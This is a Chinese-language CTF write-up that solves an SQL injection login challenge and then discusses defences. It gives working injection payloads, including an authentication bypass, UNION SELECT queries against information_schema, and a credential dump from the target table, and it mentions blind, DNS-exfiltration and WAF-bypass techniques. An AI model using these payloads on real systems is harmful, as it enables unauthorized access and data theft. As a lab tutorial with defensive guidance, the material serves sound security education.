本文僅用于技術研究,禁止用于非法用途。
Author:枷鎖
文章目錄
- 一、題目核心漏洞分析
- 二、關鍵解題步驟與技術解析
- 1. 確定列數(`ORDER BY`)
- 2. 聯合查詢獲取表名
- 3. 爆破字段名
- 4. 提取Flag
- 三、漏洞根源與防御方案
- 1. 漏洞成因
- 2. 防御措施
- 四、CTF技巧延伸
- 五、漏洞修復效果驗證
拿到題目又是熟悉的表單結構,根據題目提示,是考察sql注入,輸入
1
,
1"
,
1'
,進行測試

發現只有輸入
1'
的時候有回顯,說明可能存在字符型注入

嘗試
1' or 1=1 #
萬能密碼繞過

提示登錄成功了,并給了一串字符,但這顯然不是我們要的flag,應該是應該陷阱,好的我們,可以換一個思路,聯合注入查詢
一、題目核心漏洞分析
漏洞類型
- 單引號字符型注入:通過
1' or 1=1#
成功登錄,說明用戶名輸入點存在未過濾的單引號閉合漏洞,攻擊者通過閉合單引號注入惡意邏輯。 - 萬能密碼原理:
1=1
構造永真條件,#
注釋后續密碼驗證,直接繞過身份認證。
二、關鍵解題步驟與技術解析
嘗試聯合注入查詢
1. 確定列數(ORDER BY
)
- 原理:
ORDER BY n
根據第n列排序,若n超過實際列數則報錯。 - 操作:
1' ORDER BY 4# → 顯示數據庫報錯---成功(列數≥4) 1' ORDER BY 5# → 正常報錯---失敗(實際列數=4)
所以我們確定實際列數=4
2. 聯合查詢獲取表名
-
Payload:
1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#
-
技術點:
table_schema=database()
限定當前數據庫。- 返回表名:
geekuser, l0ve1ysq1
(注意l0ve1ysq1
是刻意命名的敏感表)。
3. 爆破字段名
- Payload示例:
1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='geekuser'#
- 結果:兩張表結構相同(
id, username, password
),說明可能存在數據鏡像或測試冗余。
4. 提取Flag
- 關鍵操作:
1' UNION SELECT 1,2,group_concat(id,username,password) FROM l0ve1ysq1#
- 發現:
password
字段存儲Flag格式數據(flag{...}
)。
三、漏洞根源與防御方案
1. 漏洞成因
- 動態SQL拼接:未對用戶輸入轉義(如單引號未處理)。
- 錯誤回顯暴露信息:報錯或查詢結果直接回顯前端,輔助攻擊者判斷注入有效性。
- 過度權限:數據庫賬戶可訪問
information_schema
,泄露元數據。
2. 防御措施
- 參數化查詢:
通過預編譯分離指令與數據,徹底杜絕拼接風險。$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $username, $password);
- 最小化權限:數據庫賬戶禁用
information_schema
訪問權限。 - 輸入過濾:
- 過濾單引號:
str_replace("'", "", $input)
。 - 正則匹配白名單:如用戶名僅允許字母數字。
- 過濾單引號:
- 錯誤處理:關閉數據庫報錯回顯,替換為通用錯誤頁面。
四、CTF技巧延伸
- 無回顯場景解法
- 時間盲注:用
IF(condition, SLEEP(5), 0)
結合響應延遲逐字符猜解。 - DNS外帶:通過
LOAD_FILE()
發起DNS請求泄露數據(需高權限)。
- WAF繞過技巧
- 注釋混淆:
' UN/**/ION SEL/**/ECT 1,2,3#
。 - 十六進制編碼:
table_name=0x6765656b75736572
(geekuser
的HEX)。
五、漏洞修復效果驗證
措施 | 測試方法 | 預期結果 |
---|---|---|
參數化查詢 | 輸入 ' OR 1=1# | 登錄失敗,無結果返回 |
關閉錯誤回顯 | 輸入 ' ORDER BY 100# | 返回統一錯誤頁,無具體信息 |
禁用元數據訪問 | 嘗試查詢 information_schema | 返回“權限不足” |
宇宙級免責聲明??
🚨 重要聲明:本文僅供合法授權下的安全研究與教育目的!🚨
1.合法授權:本文所述技術僅適用于已獲得明確書面授權的目標或自己的靶場內系統。未經授權的滲透測試、漏洞掃描或暴力破解行為均屬違法,可能導致法律后果(包括但不限于刑事指控、民事訴訟及巨額賠償)。
2.道德約束:黑客精神的核心是建設而非破壞。請確保你的行為符合道德規范,僅用于提升系統安全性,而非惡意入侵、數據竊取或服務干擾。
3.風險自擔:使用本文所述工具和技術時,你需自行承擔所有風險。作者及發布平臺不對任何濫用、誤用或由此引發的法律問題負責。
4.合規性:確保你的測試符合當地及國際法律法規(如《計算機欺詐與濫用法案》(CFAA)、《通用數據保護條例》(GDPR)等)。必要時,咨詢法律顧問。
5.最小影響原則:測試過程中應避免對目標系統造成破壞或服務中斷。建議在非生產環境或沙箱環境中進行演練。
6.數據保護:不得訪問、存儲或泄露任何未授權的用戶數據。如意外獲取敏感信息,應立即報告相關方并刪除。
7.免責范圍:作者、平臺及關聯方明確拒絕承擔因讀者行為導致的任何直接、間接、附帶或懲罰性損害責任。
🔐 安全研究的正確姿勢:
? 先授權,再測試
? 只針對自己擁有或有權測試的系統
? 發現漏洞后,及時報告并協助修復
? 尊重隱私,不越界
?? 警告:技術無善惡,人心有黑白。請明智選擇你的道路。
希望這個教程對你有所幫助!記得負責任地進行安全測試。